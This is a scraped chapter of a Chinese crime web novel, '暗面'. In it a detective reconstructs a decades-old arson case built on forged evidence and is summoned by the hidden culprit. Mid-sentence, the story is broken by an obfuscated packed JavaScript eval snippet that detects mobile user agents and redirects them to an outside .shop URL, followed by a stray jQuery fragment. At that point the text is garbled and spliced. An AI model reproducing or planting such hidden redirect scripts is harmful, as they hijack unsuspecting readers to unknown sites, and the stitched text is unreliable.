文趣网 > 都市小说 > 暗面 > 19. 第 19 章
    脚步声重新响起。这一次是往外走的。很慢,很稳。一步,一步,一步。然后消失在楼梯间的方向。

    他走了。

    他来了。他看到了。他走了。

    一切都结束了。”

    老郑看完这段文字,沉默了很久。墙上的挂钟敲了六下,凌晨六点整。晨光已经从百叶窗的边缘渗进来,把证物室染成一片温柔的灰色。

    “所以这一切,这本书、那些假证据、那通报警电话,全都是季惟明提前安排好的。他导演了自己死亡的全过程,唯一的观众,是他哥。”老郑摘下眼镜,揉了揉鼻梁,“他用自己的命设了一场局。不是为了报复他哥,而是为了翻案,为了把二十年前的真相放在我们面前,让我们不得不查。”

    “对。”林鹤声说,“他在书里写了,方德厚在录音里亲口说了,当年火灾案的一审判决建立在伪证之上。有人伪造了法医报告和证人笔录,把过失致死案改成了故意纵火谋杀案。那个伪造证据的人,把季惟明送进了监狱,把季惟仁的罪行永远埋在了废墟下面。”

    “那个人是谁?”

    林鹤声从口袋里掏出那六页复原的假证据碎片,在桌上依次排开。假法医报告、假证人笔录、假案卷封面,每一页都是伪造的,但伪造的手法和用纸都很专业。

    “能做这种伪证的人,必须同时具备三个条件。”林鹤声竖起三根手指,“第一,能接触到原始案卷,最有可能是公安系统内部的人,或者当年专案组的人。第二,有伪造文书的专业能力,司法鉴定、法医学知识都懂一点。第三,有动机。”

    “什么动机?”

    “让季惟明死。”

    老郑站起来,走到桌前。“但方德厚看到的右肩低、走路外八的人,是季惟仁。锁门的人也是季惟仁。如果伪证的目标是掩盖季惟仁的罪行,那是谁在帮季惟仁?他一个失踪了二十多年的人,谁会在公安系统里替他做伪证?”

    林鹤声沉默了很长时间。他把那六页碎片重新装回证物袋,封口,在标签上写了新的编号。然后他拿起手机,打开相册,翻到一张照片,那是几个小时前,他在图书馆三楼的墙上拍下来的。墙上的那行字。

    “真相不会被烧掉。J.W.M.”

    他把手机递给老郑。

    “J.W.M。季惟明。他在那面墙上刻这行字的时候,一定不是在火灾刚发生之后,那时候他忙着收集证据、找方德厚、追他哥,没有时间。这行字是他后来回去刻的。大概是在他被判刑之前,也许是取保候审期间,也许是开庭前的最后一个晚上。他回到那座废弃的图书馆,在走廊的墙上刻下了这句话。”

    “他当时已经知道自己会输了。”

    “对。但他也知道,真相不会被烧掉。二十年后,会有另一个人翻开他的笔记本,听完他的录音带,读完他没有写完的书。”林鹤声把手机收起来,“我只是那个被他选中的人。他在书稿里指名道姓地把所有线索都交给了我,不是巧合,是他知道我当年就对这个案子有疑问。”

    老郑看着他。

    “二十年前季惟明案一审宣判的时候,你是不是在法庭上?”

    “在。”林鹤声重新坐下来,揉着太阳穴,指节用力到发白,“我当时刚从警校毕业,分到市局刑侦支队才三个月。那是我旁听的第一个大案,支队让我去学习庭审流程。我坐在旁听席最后一排,看着季惟明被法警带进来。他不看任何人,从头到尾低着头,只有在宣判的时候抬头看了一眼天花板,然后闭上了眼睛。”

    “你那时候就觉得不对劲?”

    “我说不上来。但一个把所有罪名都认了的人,在听到死刑判决的时候,那个表情,不是恐惧,不是绝望。是解脱。”林鹤声盯着桌上那本《罚罪》,封面的烫金大字在晨光里泛着暗淡的光泽,“我在法庭上见过很多人的表情,杀人犯、纵火犯、抢劫犯,没有一个认罪的人会露出那种表情。除非他认的不是自己的罪。”

    “你后来查过这个案子吗?”

    “查过。当时我翻过庭审记录,发现方德厚的证人证言被修改过。我写了一份内部报告提交给支队,请求重新审查证人笔录。报告递上去第三天,我的直接上级找我谈话,让我撤回。他说了一句话,‘这个案子有上面的人在盯着,你不要碰。’”林鹤声抬起头,眼底有些发红,“那年我刚满二十四岁,这句话把我吓住了。我撤回了报告。然后这个案子就再也没有被动过。”

    老郑想说什么,张了张嘴,最终只是沉沉叹了一口气。二十年,一条人命,一个被吓住的年轻人。没有人能站在道德高地上指责任何人,那个年代的基层刑警面对“上面的人在盯着”的压力,能做的选择本就有限。但二十年的重量,不是一句话能卸下来的。

    “现在呢?”老郑问。

    “现在我是那个‘上面的人’了。”林鹤声站起来,拿起桌上的证物袋,“我会把这件事查到底。不止是火灾的真相,还有当年谁伪造了证据、谁在系统内部替季惟仁掩盖罪行,所有的人,一个不落。”

    他走到门口,回头看了一眼桌上那本黑底烫金封面的《罚罪》。

    晨光正好照在封面上,那两个大字亮了一下,随即又暗下去,像有人眨了一下眼睛。

    “你拿着这本书要去找谁?”老郑问。

    “去找最后一个还没开口的人。”林鹤声把书夹在腋下,推开门,“季惟仁。他还活着,而且一定还在这座城市里。他在等着我去找他,因为他知道我会去。他弟弟已经死了,这个世界上唯一一个知道他全部罪行的人已经没有了。他现在是干净的。”

    “一个没有案底、没有身份、失踪了二十多年的人,你怎么找?”

    “不用找。”林鹤声回过头,“他会来找我。”

    “为什么?”

    “因为书还没写完

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733387|209007||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。第146页那句话只写了一半,‘然后他听见了那个声音’,破折号拖到页边就断了。那个声音到底是什么?只有季惟仁知道。他弟弟在书里给他留了一个空白,那半句话就是写给他看的。”

    林鹤声拉开门,走廊里的日光灯照进来,在他脸上投下明暗交错的条纹。

    “季惟仁花了二十多年看着弟弟替自己坐牢。现在弟弟死了,书出版了,虽然没有书号,没有出版社,只有一本,只印了一本。但这本书就是判决书。他是唯一的读者,也是唯一的罪人。”

    他顿了顿。

    “他一定会来找我。因为他在那本书里读到了自己。而书的最后一页是空白的。他需要知道结局。”

    第七章焚书

    雪停之后第三天,林鹤声在信箱里发现了一封信。

    信封是普通的牛皮纸信封,没有邮票,没有邮戳,没有寄件人。只有收件人那一栏,写着端正到不自然的三个字:林鹤声。字迹和《罚罪》副本稿最后一页的手写字一模一样,但比那份手稿更工整、更用力,每一笔都像是用尺子量过的,横平竖直,没有一丝连笔。

    他把信封拆开。里面只有一张对折的打印纸,纸上只有一行字,四号宋体,居中排列:

    “我听到了。。季惟仁”

    下面是一个地址:榆荫里23号楼旧址,四楼,401室。

    林鹤声把这张纸放在桌上,盯着看了很久。窗外是雪后的晴天,阳光打在办公桌的玻璃板上,反射出一片刺眼的白光。老郑推门进来的时候,看到的就是这个画面,林鹤声坐在椅子上,双手交叉放在桌面上,像一尊雕塑。

    “怎么了?”

    林鹤声把信推过去。

    老郑读完,眉头拧成了一个疙瘩。“榆荫里23号楼,那不是当年火灾的那栋楼吗?拆了一半的危房,他去那里干什么?”

    “约我见面。”

    “你不能一个人去。”老郑放下信,声音压低了,“季惟仁是什么人?他是九年前化工厂毒气泄漏事故的受害者家属,同时是纵火锁门的真凶,在暗处活了二十多年没有被人发现。他今天主动暴露自己的位置,只有两种可能,要么他想自首,要么他想做最后一件事。”

    “什么事?”

    “我不知道。但一个人如果有能力伪造身份、隐姓埋名生活二十多年不被任何人发现,他的能力和心理素质是极其可怕的,绝对不是一个单纯的复仇者。你一个人去,太冒险了。”

    林鹤声站起来,穿上外套。“他如果想杀我,不会提前写信通知。二十多年没被人发现的人,有一万种方法可以让我消失,但他选了一个最简单的,在故事开始的地方等我。”

    他把《罚罪》装进公文包,拉开门。

    “他不是要杀我。他是要把故事写完。”

    老郑挡在门口。“至少要带个人,带小陈,或者叫派出所的人先过去布控。”